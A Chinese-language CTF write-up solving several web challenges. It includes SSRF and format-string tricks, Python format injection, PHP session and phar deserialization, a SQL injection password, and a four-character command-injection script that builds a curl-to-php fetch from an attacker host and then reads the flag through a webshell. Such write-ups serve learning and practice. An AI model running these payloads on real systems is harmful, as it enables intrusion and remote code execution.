高校战“疫”比赛记录(WEB)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php error_reporting(0 ); if (isset ($_GET['head' ])&&isset ($_GET['url' ])){ $begin = "The number you want: " ; extract($_GET); if ($head == '' ){ die ('Where is your head?' ); } if (preg_match('/[A-Za-z0-9]/i' ,$head)){ die ('Head can\'t be like this!' ); } if (preg_match('/log/i' ,$url)){ die ('No No No' ); } if (preg_match('/gopher:|file:|phar:|php:|zip:|dict:|imap:|ftp:/i' ,$url)){ die ('Don\'t use strange protocol!' ); } $funcname = $head.'curl_init' ; $ch = $funcname(); if ($ch){ curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 ); $output = curl_exec($ch); curl_close($ch); } else { $output = 'rua' ; } echo sprintf($begin.'%d' ,$output); } else { show_source(__FILE__ ); }
这道题有一个地方比较奇怪,就是$funcname = $head.'curl_init';$ch = $funcname();
,这是什么操作第一次见。
为了能让$ch能执行,逐个测试,发现head=\时可以,有回显。观察回显,再看代码,看到一个格式化控制的函数,上面的代码begin先赋值之后才执行extract,我们可以利用这点覆盖begin,拼接上%s%,构成%s%d。
于是有http://121.37.179.47:1101/?head=\&begin=%s%&url=127.0.0.1:8080
第二关,按照他的来不管怎么输入都是error。后来发现要是&的锅,二次url之后正常了。
看到{file}
有SSTI的嫌疑,输入
会被转义成{ }
,然后群里的dalao讨论说这只有字符串插值的时候才会这样。
构造http://121.37.179.47:1101/?head=\&begin=%s%&url=127.0.0.1:8080/read/file=/tmp/{file.__init__.__globals__}%2526vipcode=0
的时候有了回显。
发现’vip’: , ‘current_folder_file’: []和’name ‘: ‘base.readfile’, ‘readfile’: , ‘vipreadfile’。
试一下http://121.37.179.47:1101/?head=\&begin=%s%&url=http://127.0.0.1:8080/read/file=/{file.vip.__dict__}%2526vipcode=0
拿去执行,http://121.37.179.47:1101/?head=\&begin=%s%&url=http://127.0.0.1:8080/read/file=/{file.vip.__dict__}%2526vipcode=7UbXsOei3xPz5Gu1g4oLVp0c6KhTWq9afI2ZtnQCRlFHyrMj(vipcode会变)
看到了fl4g_1s_h3re_u_wi11_rua目录,但是不能读,我们用vipreadfile来读。构造{file.class .init .globals [vipreadfile]}fl4g_1s_h3re_u_wi11_rua好像不行。
看看变量里还有个/app/base/readfile.py读下源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 Welcome,dear vip! Here are what you want: The file you read is : /app/base/readfile.py The content is : from .vip import vipimport reimport osclass File : def __init__ (self,file) : self.file = file def __str__ (self) : return self.file def GetName (self) : return self.file class readfile () : def __str__ (self) : filename = self.GetFileName() if '..' in filename or 'proc' in filename: return "quanbumuda" else : try : file = open("/tmp/" + filename, 'r' ) content = file.read() file.close() return content except : return "error" def __init__ (self, data) : if re.match(r'file=.*?&vipcode=.*?' ,data) != None : data = data.split('&' ) data = { data[0 ].split('=' )[0 ]: data[0 ].split('=' )[1 ], data[1 ].split('=' )[0 ]: data[1 ].split('=' )[1 ] } if 'file' in data.keys(): self.file = File(data['file' ]) if 'vipcode' in data.keys(): self.vipcode = data['vipcode' ] self.vip = vip() def test (self) : if 'file' not in dir(self) or 'vipcode' not in dir(self) or 'vip' not in dir(self): return False else : return True def isvip (self) : if self.vipcode == self.vip.GetCode(): return True else : return False def GetFileName (self) : return self.file.GetName() current_folder_file = [] class vipreadfile () : def __init__ (self,readfile) : self.filename = readfile.GetFileName() self.path = os.path.dirname(os.path.abspath(self.filename)) self.file = File(os.path.basename(os.path.abspath(self.filename))) global current_folder_file try : current_folder_file = os.listdir(self.path) except : current_folder_file = current_folder_file def __str__ (self) : if 'fl4g' in self.path: return 'nonono,this folder is a secret!!!' else : output = '''Welcome,dear vip! Here are what you want:\r\nThe file you read is:\r\n''' filepath = (self.path + '/{vipfile}' ).format(vipfile=self.file) output += filepath output += '\r\n\r\nThe content is:\r\n' try : f = open(filepath,'r' ) content = f.read() f.close() except : content = 'can\'t read' output += content output += '\r\n\r\nOther files under the same folder:\r\n' output += ' ' .join(current_folder_file) return output Other files under the same folder: __pycache__ __init__.py vip.py readfile.py%d
看到filepath = (self.path + '/{vipfile}').format(vipfile=self.file)
,发现还有个vip.py
1 2 3 4 5 6 7 8 9 10 11 class vip : def __init__ (self) : global vipcode if vipcode == '' : vipcode = '' .join(random.sample(string.ascii_letters+string.digits, 48 )) self.truevipcode = vipcode else : self.truevipcode = vipcode def GetCode (self) : return self.truevipcode
怪不得读两下就得重新看vipcode。 于是按照格式构造http://121.37.179.47:1101/?head=\&begin=%s%&url=http://127.0.0.1:8080/read/file=/{vipfile.__class__.__init__.__globals__[vipreadfile].__module__[9]}l4g_1s_h3re_u_wi11_rua/flag%2526vipcode=9FHhI7NqPcvQxGy4KWgREjzoiMXTVYdS6ZpnJtA2b0u8DUws
这题,源码泄露,先审计一下代码,登录名有个问题不大的正则,很明显的session反序列化,我一开始以为是反序列化upload_sign里的,后面怎么都不行,结果队友贴了个|O:4:”info”:1:{s:5:”admin”;i:1;}给我,我才反应过来,是profile。
进profile第二关,又是代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 ./sandbox/c476c4e86e1e2b57cbe4aa43bd588193 <?php require_once ('./init.php' );error_reporting(0 ); if (check_session($_SESSION)) { $sandbox = './sandbox/' . md5("Mrk@1xI^" . $_SERVER['REMOTE_ADDR' ]); echo $sandbox; @mkdir($sandbox); @chdir($sandbox); if (isset ($_POST['url' ])) { $url = $_POST['url' ]; if (filter_var($url, FILTER_VALIDATE_URL)) { if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i' , $url)) { echo "you are hacker" ; } else { $res = parse_url($url); if (preg_match('/127\.0\.0\.1$/' , $res['host' ])) { $code = file_get_contents($url); if (strlen($code) <= 4 ) { @exec($code); } else { echo "try again" ; } } } } else { echo "invalid url" ; } } else { highlight_file(__FILE__ ); } } else { die ('只有管理员才能看到我哟' ); }
很眼熟的exec,就是那个长度小于4的命令注入(HITCON里的好像),所以脚本是现成的,但是发现有个绕过,把data过滤掉了,然后我就翻php有什么能代替或者包裹这个协议的,最后还是队友找到的,还是dalao比较强orz。zlib://
记录一下,compress.zlib://data:@127.0.0.1/plain;base64,{}//hal0flagi5here.php?url=compress.zlib://file:@happyctf.com/../../../flag.txt
接下来的就按照之前来的就好,附上队友wp@3ND
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import requests as r from time import sleep import random import hashlib import base64 target = 'http://121.36.222.22:88/' cookies={'PHPSESSID' : '37e06788cc145bb3b81b1fc339f140a8' } page = "core/index.php" ip = '0x' + '' .join([str(hex(int(i))[2 :].zfill(2 )) for i in shell_ip.split('.' )])reset = target + 'core/clear.php' ">dir" , ">sl" , ">g\>" , ">ht-" , "*>v" , ">rev" , "*v>x" , ">p" , ">ph\\" , ">\|\\" , ">9f\\" , ">d4\\" , ">5e\\" , ">2f\\" , ">0x\\" , ">\ \\" , ">rl\\" , ">cu\\" , "sh x" , "sh g" sandbox = target + 'core/sandbox/b23303a092479d32b1d59366b3477c8c/' for i in payload: i = i.encode() cmd = base64.b64encode(i) cmd = cmd.decode() data = { "url" :"compress.zlib://data:@127.0.0.1/plain;base64,{}" .format(cmd) } print (data) s = r.post(target+page, data=data, cookies=cookies) print '[%d]' % s.status_code, s.url sleep(2 ) s = r.get(sandbox + 'fun.php?cmd=cat /flag' ) print '[%d]' % s.status_code, s.url print s.text
给出了源代码
1 2 3 4 5 6 7 8 9 10 11 12 <?php $pdo = new PDO('mysql:host=localhost;dbname=sqlsql;charset=utf8;' , 'xxx' , 'xxx' ); $pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC); $stmt = $pdo->prepare("SELECT username from users where username='${_POST['username']}' and password='${_POST['password']}'" ); $stmt->execute(); $result = $stmt->fetchAll(); if (count($result) > 0 ) { if ($result[0 ]['username' ] == 'admin' ) { include ('flag.php' ); exit ();
没看懂代码…
构造username=admin&password=0'+'0
rogue-mysql-server load local infile反序列化phar(学长教的,我这次比赛第一次知道,记录一下)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class Fileupload { public $file; } class Listfile { public $file; } $o = new Fileupload; $o->file = new Listfile; $o->file->file = ';/readflag' ; @unlink("phar.phar" ); $phar = new Phar("phar.phar" ); $phar->startBuffering(); $phar->setStub("GIF89a" ."<?php __HALT_COMPILER(); ?>" ); $phar->setMetadata($o); $phar->addFromString("test.txt" , "test" ); $phar->stopBuffering();
上传文件,然后服务器用rogue-mysql-server访问phar://…./xx.gif
Shell能查phpinfo(),被ban了很多函数,我用菜刀连不上,蚁剑能连。连上之后上传PHP 7.4 disable_function bypass
之后URL include即可getflag。